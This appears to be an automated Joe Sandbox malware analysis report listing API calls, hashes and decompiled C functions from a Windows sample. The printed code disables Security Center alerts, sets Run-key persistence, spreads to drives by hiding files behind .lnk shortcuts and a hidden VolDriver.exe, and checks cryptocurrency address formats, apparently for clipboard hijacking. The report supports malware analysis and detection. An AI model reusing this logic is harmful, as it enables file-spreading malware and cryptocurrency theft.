                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 00405DB8
                                                                                                                                                                                                                                                                                                                                                      • GetModuleFileNameW.KERNEL32(00000000,00415290,00000105), ref: 00405DDE
                                                                                                                                                                                                                                                                                                                                                      • PathFindFileNameW.SHLWAPI(00415290), ref: 00405DE9
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00405E06
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNELBASE(?), ref: 00405E16
                                                                                                                                                                                                                                                                                                                                                      • ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00405E2D
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 00405EE2
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\tbcmds.dat$%s\tbnds.dat$%userprofile%$%windir%$9998883922$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$wsysrxvcs.exe
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2615208688-471770540
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: e6c5a3f100c13d945076c1f284067d11eeebf5dfefbd1a81a56a6e3f0d2593a7
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: df607d003a590471f88021bec4645f04bb3b1272e335fdeb7a0c043ab3de40b8
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e6c5a3f100c13d945076c1f284067d11eeebf5dfefbd1a81a56a6e3f0d2593a7
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A7121EB5A80318ABE7309B90DC4AFDA7774AB48B05F1081A5F309BA1D1D7B46AC48F5D
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D280 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 59sleepprocessCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 63 40d280-40d2de memset CreateProcessW 64 40d2e0-40d2ed Sleep 63->64 65 40d2ef-40d313 ShellExecuteW 63->65 66 40d326-40d329 64->66 67 40d324 65->67 68 40d315-40d322 Sleep 65->68 67->66 68->66
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040D280(char _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOW _v100;
				intOrPtr _v104;
				int _t20;

				memset( &_v100, 0, 0x44);
				_v24.hProcess = 0;
				_v24.hThread = 0;
				_v24.dwProcessId = 0;
				_v24.dwThreadId = 0;
				_v100.cb = 0x44;
				_v100.dwFlags = 1;
				_v100.wShowWindow = 5;
				_t11 =  &_a4; // 0x406123
				_t20 = CreateProcessW(0,  *_t11, 0, 0, 0, 0x20, 0, 0,  &_v100,  &_v24); // executed
				if(_t20 != 1) {
					_t12 =  &_a4; // 0x406123
					_v8 = ShellExecuteW(0, L"open",  *_t12, 0, 0, 0);
					_v104 = _v8;
					if(_v104 <= 0x20) {
						return 0;
					}
					Sleep(0x3e8);
					return 1;
				}
				Sleep(0x3e8); // executed
				return 1;
			}








                                                                                                                                                                                                                                                                                                                                                      0x0040d28e
                                                                                                                                                                                                                                                                                                                                                      0x0040d298
                                                                                                                                                                                                                                                                                                                                                      0x0040d29b
                                                                                                                                                                                                                                                                                                                                                      0x0040d29e
                                                                                                                                                                                                                                                                                                                                                      0x0040d2a1
                                                                                                                                                                                                                                                                                                                                                      0x0040d2a4
                                                                                                                                                                                                                                                                                                                                                      0x0040d2ab
                                                                                                                                                                                                                                                                                                                                                      0x0040d2b7
                                                                                                                                                                                                                                                                                                                                                      0x0040d2cf
                                                                                                                                                                                                                                                                                                                                                      0x0040d2d5
                                                                                                                                                                                                                                                                                                                                                      0x0040d2de
                                                                                                                                                                                                                                                                                                                                                      0x0040d2f5
                                                                                                                                                                                                                                                                                                                                                      0x0040d306
                                                                                                                                                                                                                                                                                                                                                      0x0040d30c
                                                                                                                                                                                                                                                                                                                                                      0x0040d313
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d324
                                                                                                                                                                                                                                                                                                                                                      0x0040d31a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d320
                                                                                                                                                                                                                                                                                                                                                      0x0040d2e5
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • memset.NTDLL ref: 0040D28E
                                                                                                                                                                                                                                                                                                                                                      • CreateProcessW.KERNELBASE ref: 0040D2D5
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000003E8), ref: 0040D2E5
                                                                                                                                                                                                                                                                                                                                                      • ShellExecuteW.SHELL32(00000000,open,#a@,00000000,00000000,00000000), ref: 0040D300
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040D31A
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Sleep$CreateExecuteProcessShellmemset
                                                                                                                                                                                                                                                                                                                                                      • String ID: $#a@$D$open
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2222793131-2365623954
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a717dc1a332256b97c6a6da9f1848ef79a3af53e5dfe8345794ead9c5cab1e4b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 22f9de94e88e8be2c8da8ddb0b418ba3c2364b774b65f27a210f96e2ac835ab6
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a717dc1a332256b97c6a6da9f1848ef79a3af53e5dfe8345794ead9c5cab1e4b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 50110371E44308BBEB14CFD4DD46FEE7774AB18700F20412AFA09BA2C0D7B59A448B59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 00404F30 Relevance: 73.8, APIs: 32, Strings: 10, Instructions: 293fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 80 404f30-404f45 _chkstk 81 404f47-404f49 80->81 82 404f4e-405000 wsprintfW * 5 PathFileExistsW 80->82 85 405405-405408 81->85 83 405002-405023 call 40d070 82->83 84 405044-405053 PathFileExistsW 82->84 83->84 94 405025-40503e SetFileAttributesW DeleteFileW 83->94 87 4050c0-4050cf PathFileExistsW 84->87 88 405055-405064 PathFileExistsW 84->88 92 4050d1-4050d7 87->92 93 405116-405137 FindFirstFileW 87->93 90 405066-405077 CreateDirectoryW 88->90 91 405088-405097 PathFileExistsW 88->91 90->91 97 405079-405082 SetFileAttributesW 90->97 91->87 98 405099-4050af CopyFileW 91->98 99 4050f1-405104 call 404ce0 92->99 100 4050d9-4050ef call 404ce0 92->100 95 40513d-4051f5 93->95 96 4053ff 93->96 94->84 102 4051ff-405213 lstrcmpW 95->102 96->85 97->91 98->87 103 4050b1-4050ba SetFileAttributesW 98->103 109 405107-405110 SetFileAttributesW 99->109 100->109 106 405215-405229 lstrcmpW 102->106 107 40522b 102->107 103->87 106->107 110 405230-405241 106->110 111 4053d6-4053ec FindNextFileW 107->111 109->93 112 405252-405259 110->112 113 405243-40524c 110->113 111->102 114 4053f2-4053f9 FindClose 111->114 115 405287-405290 112->115 116 40525b-405278 lstrcmpiW 112->116 113->112 114->96 119 405292 115->119 120 405297-4052a8 115->120 117 40527a 116->117 118 40527c-405283 116->118 117->113 118->115 119->111 121 4052b9-4052c0 120->121 122 4052aa-4052b3 120->122 123 405330-405339 121->123 124 4052c2-4052df PathMatchSpecW 121->124 122->121 125 405340-40534f PathFileExistsW 123->125 126 40533b 123->126 127 4052e1 124->127 128 4052e3-405329 wsprintfW SetFileAttributesW DeleteFileW 124->128 129 405351 125->129 130 405356-4053a6 wsprintfW * 2 125->130 126->111 127->122 128->123 129->111 131 4053c0-4053d0 MoveFileExW 130->131 132 4053a8-4053be call 404df0 130->132 131->111 132->111
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00404F30(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16) {
				short _v524;
				short _v1044;
				short _v1564;
				short _v2084;
				intOrPtr _v2088;
				short _v2612;
				short _v3132;
				char _v3133;
				struct _WIN32_FIND_DATAW _v3732;
				short _v4252;
				void* _v4256;
				short _v4780;
				intOrPtr _v4784;
				WCHAR* _v4788;
				WCHAR* _v4792;
				WCHAR* _v4796;
				WCHAR* _v4800;
				WCHAR* _v4804;
				intOrPtr _v4808;
				WCHAR* _v4812;
				WCHAR* _v4816;
				WCHAR* _v4820;
				WCHAR* _v4824;
				WCHAR* _v4828;
				WCHAR* _v4832;
				WCHAR* _v4836;
				WCHAR* _v4840;
				WCHAR* _v4844;
				WCHAR* _v4848;
				WCHAR* _v4852;
				WCHAR* _v4856;
				WCHAR* _v4860;
				signed char _v4861;
				signed char _v4862;
				signed int _v4868;
				signed int _v4872;
				intOrPtr _t167;
				intOrPtr _t195;
				void* _t218;
				void* _t219;
				void* _t224;

				L0040ECFA();
				if((_a12 & 0x00080000) != 0) {
					return 0;
				}
				_v2088 = 0x41411c;
				_v3133 = 0;
				wsprintfW( &_v1564, L"%s.lnk", _a8);
				wsprintfW( &_v4252, L"%s\\%s", _a4, _v2088);
				wsprintfW( &_v4780, L"%s\\%s\\VolDriver.exe", _a4, _v2088);
				wsprintfW( &_v2612, L"%s\\%s", _a4,  &_v1564);
				wsprintfW( &_v1044, L"%s\\*", _a4);
				_t224 = _t219 + 0x48;
				if(PathFileExistsW( &_v4780) != 0) {
					_t167 = E0040D070( &_v4780);
					_t224 = _t224 + 4;
					_v4784 = _t167;
					_t195 =  *0x414c70; // 0x0
					if(_t195 != _v4784) {
						SetFileAttributesW( &_v4780, 0x80);
						DeleteFileW( &_v4780);
					}
				}
				if(PathFileExistsW( &_v4780) == 0) {
					if(PathFileExistsW( &_v4252) == 0 && CreateDirectoryW( &_v4252, 0) != 0) {
						SetFileAttributesW( &_v4252, 2);
					}
					if(PathFileExistsW( &_v4252) != 0 && CopyFileW(0x414c78,  &_v4780, 0) != 0) {
						SetFileAttributesW( &_v4780, 2);
					}
				}
				if(PathFileExistsW( &_v2612) == 0) {
					if((_a16 & 0x000000ff) == 0) {
						E00404CE0( &_v2612, L"shell32.dll", 8);
						_t224 = _t224 + 0xc;
					} else {
						E00404CE0( &_v2612, L"shell32.dll", 9);
						_t224 = _t224 + 0xc;
					}
					SetFileAttributesW( &_v2612, 1);
				}
				_v4256 = FindFirstFileW( &_v1044,  &_v3732);
				if(_v4256 == 0xffffffff) {
					L45:
					return _v3133;
				} else {
					_v4860 = L"*.lnk";
					_v4856 = L"*.vbs";
					_v4852 = L"*.js";
					_v4848 = L"*.scr";
					_v4844 = L"*.com";
					_v4840 = L"*.jse";
					_v4836 = L"*.cmd";
					_v4832 = L"*.pif";
					_v4828 = L"*.jar";
					_v4824 = L"*.dll";
					_v4820 = L"*.vbe";
					_v4816 = L"*.bat";
					_v4812 = L"*.inf";
					_v4808 = _v2088;
					_v4804 =  &_v1564;
					_v4800 = L"Thumbs.db";
					_v4796 = L"$RECYCLE.BIN";
					_v4792 = L"desktop.ini";
					_v4788 = L"System Volume Information";
					do {
						if(lstrcmpW( &(_v3732.cFileName), ".") != 0 && lstrcmpW( &(_v3732.cFileName), L"..") != 0) {
							_v4862 = 0;
							_v4868 = 0;
							while(_v4868 < 6) {
								if(lstrcmpiW( &(_v3732.cFileName),  *(_t218 + _v4868 * 4 - 0x12c4)) == 0) {
									_v4862 = 1;
									break;
								}
								_v4868 = _v4868 + 1;
							}
							if((_v4862 & 0x000000ff) == 0) {
								_v4861 = 0;
								_v4872 = 0;
								while(_v4872 < 0xd) {
									if(PathMatchSpecW( &(_v3732.cFileName),  *(_t218 + _v4872 * 4 - 0x12f8)) != 0) {
										wsprintfW( &_v2084, L"%s\\%s", _a4,  &(_v3732.cFileName));
										_t224 = _t224 + 0x10;
										SetFileAttributesW( &_v2084, 0x80);
										DeleteFileW( &_v2084);
										_v4861 = 1;
										break;
									}
									_v4872 = _v4872 + 1;
								}
								if((_v4861 & 0x000000ff) == 0) {
									if(PathFileExistsW( &_v4252) != 0) {
										wsprintfW( &_v3132, L"%s\\%s", _a4,  &(_v3732.cFileName));
										wsprintfW( &_v524, L"%s\\%s\\%s", _a4, _v2088,  &(_v3732.cFileName));
										_t224 = _t224 + 0x24;
										if((_v3732.dwFileAttributes & 0x00000010) == 0) {
											MoveFileExW( &_v3132,  &_v524, 9);
										} else {
											E00404DF0( &_v3132,  &_v524);
											_t224 = _t224 + 8;
										}
									}
								}
								goto L43;
							}
						}
						L43:
					} while (FindNextFileW(_v4256,  &_v3732) != 0);
					FindClose(_v4256);
					goto L45;
				}
			}












































                                                                                                                                                                                                                                                                                                                                                      0x00404f38
                                                                                                                                                                                                                                                                                                                                                      0x00404f45
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404f47
                                                                                                                                                                                                                                                                                                                                                      0x00404f4e
                                                                                                                                                                                                                                                                                                                                                      0x00404f58
                                                                                                                                                                                                                                                                                                                                                      0x00404f6f
                                                                                                                                                                                                                                                                                                                                                      0x00404f8f
                                                                                                                                                                                                                                                                                                                                                      0x00404faf
                                                                                                                                                                                                                                                                                                                                                      0x00404fcf
                                                                                                                                                                                                                                                                                                                                                      0x00404fe8
                                                                                                                                                                                                                                                                                                                                                      0x00404fee
                                                                                                                                                                                                                                                                                                                                                      0x00405000
                                                                                                                                                                                                                                                                                                                                                      0x00405009
                                                                                                                                                                                                                                                                                                                                                      0x0040500e
                                                                                                                                                                                                                                                                                                                                                      0x00405011
                                                                                                                                                                                                                                                                                                                                                      0x00405017
                                                                                                                                                                                                                                                                                                                                                      0x00405023
                                                                                                                                                                                                                                                                                                                                                      0x00405031
                                                                                                                                                                                                                                                                                                                                                      0x0040503e
                                                                                                                                                                                                                                                                                                                                                      0x0040503e
                                                                                                                                                                                                                                                                                                                                                      0x00405023
                                                                                                                                                                                                                                                                                                                                                      0x00405053
                                                                                                                                                                                                                                                                                                                                                      0x00405064
                                                                                                                                                                                                                                                                                                                                                      0x00405082
                                                                                                                                                                                                                                                                                                                                                      0x00405082
                                                                                                                                                                                                                                                                                                                                                      0x00405097
                                                                                                                                                                                                                                                                                                                                                      0x004050ba
                                                                                                                                                                                                                                                                                                                                                      0x004050ba
                                                                                                                                                                                                                                                                                                                                                      0x00405097
                                                                                                                                                                                                                                                                                                                                                      0x004050cf
                                                                                                                                                                                                                                                                                                                                                      0x004050d7
                                                                                                                                                                                                                                                                                                                                                      0x004050ff
                                                                                                                                                                                                                                                                                                                                                      0x00405104
                                                                                                                                                                                                                                                                                                                                                      0x004050d9
                                                                                                                                                                                                                                                                                                                                                      0x004050e7
                                                                                                                                                                                                                                                                                                                                                      0x004050ec
                                                                                                                                                                                                                                                                                                                                                      0x004050ec
                                                                                                                                                                                                                                                                                                                                                      0x00405110
                                                                                                                                                                                                                                                                                                                                                      0x00405110
                                                                                                                                                                                                                                                                                                                                                      0x0040512a
                                                                                                                                                                                                                                                                                                                                                      0x00405137
                                                                                                                                                                                                                                                                                                                                                      0x004053ff
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040513d
                                                                                                                                                                                                                                                                                                                                                      0x0040513d
                                                                                                                                                                                                                                                                                                                                                      0x00405147
                                                                                                                                                                                                                                                                                                                                                      0x00405151
                                                                                                                                                                                                                                                                                                                                                      0x0040515b
                                                                                                                                                                                                                                                                                                                                                      0x00405165
                                                                                                                                                                                                                                                                                                                                                      0x0040516f
                                                                                                                                                                                                                                                                                                                                                      0x00405179
                                                                                                                                                                                                                                                                                                                                                      0x00405183
                                                                                                                                                                                                                                                                                                                                                      0x0040518d
                                                                                                                                                                                                                                                                                                                                                      0x00405197
                                                                                                                                                                                                                                                                                                                                                      0x004051a1
                                                                                                                                                                                                                                                                                                                                                      0x004051ab
                                                                                                                                                                                                                                                                                                                                                      0x004051b5
                                                                                                                                                                                                                                                                                                                                                      0x004051c5
                                                                                                                                                                                                                                                                                                                                                      0x004051d1
                                                                                                                                                                                                                                                                                                                                                      0x004051d7
                                                                                                                                                                                                                                                                                                                                                      0x004051e1
                                                                                                                                                                                                                                                                                                                                                      0x004051eb
                                                                                                                                                                                                                                                                                                                                                      0x004051f5
                                                                                                                                                                                                                                                                                                                                                      0x004051ff
                                                                                                                                                                                                                                                                                                                                                      0x00405213
                                                                                                                                                                                                                                                                                                                                                      0x00405230
                                                                                                                                                                                                                                                                                                                                                      0x00405237
                                                                                                                                                                                                                                                                                                                                                      0x00405252
                                                                                                                                                                                                                                                                                                                                                      0x00405278
                                                                                                                                                                                                                                                                                                                                                      0x0040527c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040527c
                                                                                                                                                                                                                                                                                                                                                      0x0040524c
                                                                                                                                                                                                                                                                                                                                                      0x0040524c
                                                                                                                                                                                                                                                                                                                                                      0x00405290
                                                                                                                                                                                                                                                                                                                                                      0x00405297
                                                                                                                                                                                                                                                                                                                                                      0x0040529e
                                                                                                                                                                                                                                                                                                                                                      0x004052b9
                                                                                                                                                                                                                                                                                                                                                      0x004052df
                                                                                                                                                                                                                                                                                                                                                      0x004052fa
                                                                                                                                                                                                                                                                                                                                                      0x00405300
                                                                                                                                                                                                                                                                                                                                                      0x0040530f
                                                                                                                                                                                                                                                                                                                                                      0x0040531c
                                                                                                                                                                                                                                                                                                                                                      0x00405322
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405322
                                                                                                                                                                                                                                                                                                                                                      0x004052b3
                                                                                                                                                                                                                                                                                                                                                      0x004052b3
                                                                                                                                                                                                                                                                                                                                                      0x00405339
                                                                                                                                                                                                                                                                                                                                                      0x0040534f
                                                                                                                                                                                                                                                                                                                                                      0x0040536d
                                                                                                                                                                                                                                                                                                                                                      0x00405394
                                                                                                                                                                                                                                                                                                                                                      0x0040539a
                                                                                                                                                                                                                                                                                                                                                      0x004053a6
                                                                                                                                                                                                                                                                                                                                                      0x004053d0
                                                                                                                                                                                                                                                                                                                                                      0x004053a8
                                                                                                                                                                                                                                                                                                                                                      0x004053b6
                                                                                                                                                                                                                                                                                                                                                      0x004053bb
                                                                                                                                                                                                                                                                                                                                                      0x004053bb
                                                                                                                                                                                                                                                                                                                                                      0x004053a6
                                                                                                                                                                                                                                                                                                                                                      0x0040534f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405339
                                                                                                                                                                                                                                                                                                                                                      0x00405292
                                                                                                                                                                                                                                                                                                                                                      0x004053d6
                                                                                                                                                                                                                                                                                                                                                      0x004053ea
                                                                                                                                                                                                                                                                                                                                                      0x004053f9
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004053f9

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • _chkstk.NTDLL(?,00405580,?,?,?), ref: 00404F38
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404F6F
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404F8F
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404FAF
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404FCF
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404FE8
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.SHLWAPI(?), ref: 00404FF8
                                                                                                                                                                                                                                                                                                                                                      • SetFileAttributesW.KERNEL32(?,00000080), ref: 00405031
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 0040503E
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.SHLWAPI(?), ref: 0040504B
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.SHLWAPI(?), ref: 0040505C
                                                                                                                                                                                                                                                                                                                                                      • CreateDirectoryW.KERNEL32(?,00000000), ref: 0040506F
                                                                                                                                                                                                                                                                                                                                                      • SetFileAttributesW.KERNEL32(?,00000002), ref: 00405082
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.SHLWAPI(?), ref: 0040508F
                                                                                                                                                                                                                                                                                                                                                      • CopyFileW.KERNEL32(00414C78,?,00000000), ref: 004050A7
                                                                                                                                                                                                                                                                                                                                                      • SetFileAttributesW.KERNEL32(?,00000002), ref: 004050BA
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$wsprintf$ExistsPath$Attributes$CopyCreateDeleteDirectory_chkstk
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\VolDriver.exe$%s\*$shell32.dll$shell32.dll
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3833403615-1812021906
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ca6c75ffb9d41e49a55f49a0fe5d253605e4563a897bb97b030352e93aa939b2
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 750ad7f2b2d818bb56bb1e1aefa63b4f363d283544065ae8c355abf3b895641d
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ca6c75ffb9d41e49a55f49a0fe5d253605e4563a897bb97b030352e93aa939b2
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F7D170B4900218ABCB20DF50DC48BEA77B8FF44344F4485EAF509A6291D7B99BD4CF59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00403480 Relevance: 72.5, APIs: 26, Strings: 15, Instructions: 727clipboardstringmemoryCOMMONCrypto
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 98%
                                                                                                                                                                                                                                                                                                                                                      			E00403480(WCHAR* _a4) {
				int _v8;
				WCHAR* _v12;
				int _v16;
				void* _v20;
				signed char _v21;
				void* _v28;
				signed int _v32;
				signed int _t321;
				signed int _t324;
				void* _t531;

				_v21 = 1;
				_v12 = 0;
				_v20 = 0;
				_v8 = lstrlenW(_a4);
				if(( *_a4 & 0x0000ffff) != 0x30 && ( *_a4 & 0x0000ffff) != 0x54 && ( *_a4 & 0x0000ffff) != 0x33 && ( *_a4 & 0x0000ffff) != 0x74 && ( *_a4 & 0x0000ffff) != 0x62 && ( *_a4 & 0x0000ffff) != 0x31 && ( *_a4 & 0x0000ffff) != 0x58 && ( *_a4 & 0x0000ffff) != 0x44 && ( *_a4 & 0x0000ffff) != 0x4c && ( *_a4 & 0x0000ffff) != 0x72 && ( *_a4 & 0x0000ffff) != 0x68 && ( *_a4 & 0x0000ffff) != 0x51 && ( *_a4 & 0x0000ffff) != 0x52 && ( *_a4 & 0x0000ffff) != 0x4e && ( *_a4 & 0x0000ffff) != 0x6e && ( *_a4 & 0x0000ffff) != 0x41 && ( *_a4 & 0x0000ffff) != 0x6c && ( *_a4 & 0x0000ffff) != 0x7a && ( *_a4 & 0x0000ffff) != 0x71 && ( *_a4 & 0x0000ffff) != 0x63 && ( *_a4 & 0x0000ffff) != 0x34 && ( *_a4 & 0x0000ffff) != 0x38 && ( *_a4 & 0x0000ffff) != 0x61 && ( *_a4 & 0x0000ffff) != 0x6b && ( *_a4 & 0x0000ffff) != 0x66 && ( *_a4 & 0x0000ffff) != 0x65 && ( *_a4 & 0x0000ffff) != 0x6f && ( *_a4 & 0x0000ffff) != 0x47 && ( *_a4 & 0x0000ffff) != 0x45 && ( *_a4 & 0x0000ffff) != 0x55 && ( *_a4 & 0x0000ffff) != 0x42) {
					return 0;
				}
				if(( *_a4 & 0x0000ffff) != 0x30) {
					if(( *_a4 & 0x0000ffff) == 0x31 || ( *_a4 & 0x0000ffff) == 0x33) {
						if(_v8 < 0x19 || _v8 > 0x23) {
							return 0;
						}
						goto L102;
					} else {
						if(( *_a4 & 0x0000ffff) == 0x34 || ( *_a4 & 0x0000ffff) == 0x38) {
							if(_v8 != 0x5f) {
								return 0;
							}
							goto L102;
						} else {
							if(( *_a4 & 0x0000ffff) != 0x4c) {
								if(( *_a4 & 0x0000ffff) != 0x72) {
									if(( *_a4 & 0x0000ffff) != 0x65) {
										if(( *_a4 & 0x0000ffff) != 0x6e) {
											if(StrStrW(_a4, L"bitcoincash:") == 0) {
												if(StrStrW(_a4, L"cosmos") == 0) {
													if(StrStrW(_a4, L"addr") == 0) {
														if(( *_a4 & 0x0000ffff) != 0x47) {
															if(( *_a4 & 0x0000ffff) != 0x45) {
																if(( *_a4 & 0x0000ffff) == 0x55 || ( *_a4 & 0x0000ffff) == 0x42) {
																	if(_v8 == 9) {
																		goto L102;
																	}
																	return 0;
																} else {
																	if(_v8 < 0x15 || _v8 > 0x38) {
																		return 0;
																	} else {
																		goto L102;
																	}
																}
															}
															if(_v8 == 0x30) {
																_v21 = 0;
															}
															if(_v8 < 9 || _v8 > 0x30) {
																return 0;
															} else {
																goto L102;
															}
														}
